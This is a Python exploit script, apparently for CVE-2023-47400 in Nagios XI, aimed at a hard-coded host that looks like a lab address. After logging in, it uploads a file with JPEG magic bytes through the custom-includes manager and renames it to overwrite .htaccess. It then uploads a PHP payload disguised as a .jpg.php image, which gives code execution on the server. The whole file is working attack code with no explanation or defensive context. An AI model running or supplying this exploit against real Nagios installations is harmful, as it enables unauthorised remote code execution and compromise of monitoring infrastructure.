import logging from sys import exit from requests import Session from lxml import html from uuid import uuid4 # TODO handle this by cli args NAGIOS_URL = "https://10.10.11.248/nagiosxi" USERNAME = "user" PASSWORD = "pass" JPEG_MAGIC_BYTES = b"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01" # JFIF signature # Try other magic bytes if this one doesn't work : https://en.wikipedia.org/wiki/List_of_file_signatures def bootstrap_session(): s = Session() s.trust_env = True # allow usage of HTTP_PROXY env var for DEBUG s.verify = False return s def get_nsp_token(session) -> str: resp = session.get(f"{NAGIOS_URL}/login.php") login_page = html.fromstring(resp.content) csrf_token = login_page.xpath( "/html/body/div/div[4]/div/div[1]/div[1]/div[1]/form/input[1]/@value" )[0] return csrf_token def log_in(session, nsp_token, username, password): # prepare headers and payload headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", } payload = { "nsp": nsp_token, "page": "auth", "debug": "", "pageopt": "login", "username": username, "password": password, "loginButton": "", } # send POST request on /login.php to authenticate login_response = session.post( url=f"{NAGIOS_URL}/login.php", data=payload, headers=headers ) return login_response def upload_placeholder_image(session): # prepare request files = {"uploadedfile": ("placeholder.jpg", JPEG_MAGIC_BYTES, "image/jpeg")} resp = session.post( f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload", files=files, ) return resp def overwrite_htaccess(session, upload_placeholder_image_response): # retrieve file id and rename it to .htaccess file_upload_page = html.fromstring(upload_placeholder_image_response.content) image_id = file_upload_page.xpath('//*[@data-name="placeholder.jpg"]/@data-obj-id')[ 0 ] headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {"id": image_id, "name": ".htaccess"} session.post( f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=rename", data=data, headers=headers, ) return session.get( f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=delete&type=images&id={image_id}" ) def build_payload() -> bytes: with open("payload.php", "rb") as file: exploit = JPEG_MAGIC_BYTES exploit += file.read() return exploit def upload_payload(session, payload_name, payload_data): # prepare request files = { "uploadedfile": (f"{payload_name}.jpg.php", payload_data, "application/x-php") } resp = session.post( f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload", files=files, ) return resp def main() -> int: # setup logging module logger = logging.getLogger() logger.name = "cve_2023_47400" logger.setLevel(level=logging.INFO) try: # create session sess = bootstrap_session() # pre-flight request to aquire NSP token in index.php nsp = get_nsp_token(sess) # login with provided credentials log_in_response = log_in(sess, nsp, USERNAME, PASSWORD) if log_in_response.status_code == 200: logging.info("Successful logged in") else: logging.error("Unsuccessful attempt to log in") return 1 # upload placeholder image upload_placeholder_image_response = upload_placeholder_image(sess) if upload_placeholder_image_response.status_code == 200: logging.info("Successfuly uploaded placeholder.jpg") else: logging.error("Unsuccessful attempt to upload placeholder.jpg") return 1 overwrite_htaccess_response = overwrite_htaccess( sess, upload_placeholder_image_response ) if overwrite_htaccess_response.status_code == 200: logging.info("Successfuly overwritten .htaccess") else: logging.error("Unsuccessful attempt to overwrite .htaccess") return 1 payload_name = uuid4() payload_data = build_payload() upload_payload_response = upload_payload(sess, payload_name, payload_data) if upload_payload_response.status_code == 200: logging.info("Successfuly uploaded payload at :") logging.info( f"{NAGIOS_URL}/includes/components/custom-includes/images/{payload_name}.jpg.php" ) logging.info("Exploit completed successfuly") return 0 else: logging.error("Unsuccessful attempt to upload payload") return 1 # exits gracefully on CTRL+C except KeyboardInterrupt: logging.info("Exiting script gracefully") return 0 # exits with error code 1 other exceptions except Exception as err: logging.critical("Exiting due to error") logging.critical(err) return 1 if __name__ == "__main__": exit(main())